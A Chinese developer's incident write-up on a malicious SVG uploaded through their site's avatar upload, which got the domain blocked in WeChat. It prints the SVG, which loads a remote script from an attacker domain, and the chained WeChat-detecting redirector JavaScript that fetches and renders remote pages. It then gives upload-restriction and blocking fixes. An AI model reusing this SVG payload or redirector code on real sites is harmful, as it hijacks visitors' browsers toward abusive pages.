欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

【已停止访问该网页】由一张图片引发的“血案”

程序员文章站 2022-06-23 23:26:42
先看个热闹 突然一天在微信上打不开我的域名了,被封了 然后我要疯,我没有这个svg啊,虽然系统中有图片上传的地方,但是也不会用到这个svg啊 想想,可能有人通过我的系统免费上传了这个svg然后在其他地方用了这个免费的资源流量。 下载这个svg,文本编辑器打开源码 打开https://ookwqc.c ......

先看个热闹

突然一天在微信上打不开我的域名了,被封了
【已停止访问该网页】由一张图片引发的“血案”
然后我要疯,我没有这个svg啊,虽然系统中有图片上传的地方,但是也不会用到这个svg啊
【已停止访问该网页】由一张图片引发的“血案”

想想,可能有人通过我的系统免费上传了这个svg然后在其他地方用了这个免费的资源流量。

下载这个svg,文本编辑器打开源码

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="3.5in" height="1in">
    <script type="text/javascript" xlink:href="https://ookwqc.com/t"></script>
</svg>

打开https://ookwqc.com/t域名

(function() {
            var ua = navigator.useragent.tolowercase();
            try { document.getelementsbytagname("body")[0].outerhtml = "<center>loading...</center>"; } catch (e) {};
            if (/micromessenger/.test(ua)) {
                if (top != window || !document.body) {
                    top.location.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153';
                } else {
                    var a = document.createelement('a');
                    a.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153';
                    a.rel = 'noreferrer';
                    a.click();
                }
            }
        })()

上面一段代码写的很有意思,如果是微信浏览器打开是一张图片,否则是另外一张图片。
但是————不要被后缀伪装给迷惑了。
查询域名备案信息,哇塞备案了差不多500个域名,真流弊
【已停止访问该网页】由一张图片引发的“血案”

打开微信那张照片

页面空白,但是作为开发人员,打开f12,哇塞

【已停止访问该网页】由一张图片引发的“血案”

这个地址只是一个以jpg结尾的svg文件请求地址。
其中https://05ez.com/t又去获取下一个地址
【已停止访问该网页】由一张图片引发的“血案”

不死不休,继续追踪
f12照看一下

<!doctype html>
<html lang="en"><head>
<meta charset="utf-8"><title></title></head><body>
<script src="https://05ez.com/d"></script>
</body></html>

继续找

var _shareurl = 'https://05ez.com';
var hm_c = 'a71a8a3c027d8f8703df08f83e95ef39';

function _getparam(name) {
    return location.href.match(new regexp('[?&]' + name + '=([^?&#]+)', 'i')) ? decodeuricomponent(regexp.$1) : '';
}
var ua = navigator.useragent.tolowercase();
if (/micromessenger/.test(ua)) {
    var _lay = document.createelement('div');
    _lay.setattribute('style', 'width:100%;height:2048px;font-size:1.4em;position:absolute;' +
        'background-color:white;z-index:99999999;left:0;top:0;');
    _lay.innerhtml = '<div style="color:black;text-align:center;font-size:1.3em">loading...</div>';
    if (document.body) document.body.appendchild(_lay);
    document.title = "正在打开...";
    var xhr = new xmlhttprequest;
    var html = null;

    function getparam(name, url) {
        var r = new regexp('(?|#|&)' + name + '=(.*?)(#|&|$)');
        var m = (url || location.href).match(r);
        return (m ? m[2] : '')
    }
    function render() {
        var a = document.open("text/html", "replace");
        a.write(html);
        a.close()
    }
    xhr.onload = function () {
        html = xhr.responsetext;
        var delay = 0;
        if (delay > 0) settimeout("render()", delay * 1000); else render()
    };
    xhr.open("get", "https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html?t=" + date.now(), !0);
    xhr.send();
}

打开上面的页面

<!doctype html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <title>...</title>
  <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover" />
  <meta name="format-detection" content="telephone=no">
  <meta name="applicable-device" content="mobile">
  <link rel="stylesheet" href="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/d.css">
  <script>
    window.focuslocation = {};
  </script>
</head>

<body>
  <script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
  <script src="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/jquery.min.js"></script>
  <script src="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/core.js"></script>
  <script src="https://05ez.com/case/info?var=window.data"></script>

  <script>
    // m.loadjs('/js/i_d.js?v=' + (+new date()));
    m.loadjs('https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js?v=' + (+new date()));
  </script>
</body>

</html>

瞅一眼那个js


【已停止访问该网页】由一张图片引发的“血案”
好了找到地方了,多么喜庆。
【已停止访问该网页】由一张图片引发的“血案”

找到问题就解决吧

再来找找这个svg文件上传的日志

2019-03-10t13:08:35.866304z {"accept-encoding":"gzip","content-length":"992","content-type":"multipart/form-data; boundary=------------------------78ff25155c5e6156","ip":"127.0.0.1","user-agent":"go-http-client/1.1","x-forwarded-for":"112.96.135.xxx157.255.155.xxx"x-real-ip":"157.255.155.xxx"x-reqid":"dqyaamir4ljhmoov","x-scheme":"http"} {"key":"xxx.svg","hash":"e5gx5xekd","bucket":"","fsize":252}

解决方案

1)限制系统中头像上传的文件类型为jpg/png (app端会裁剪照片,这2个类型够用)

2)如果使用第三方对象存储,建议修改秘钥

3)在nginx或者slb上限制该恶意ip,并设置slb黑名单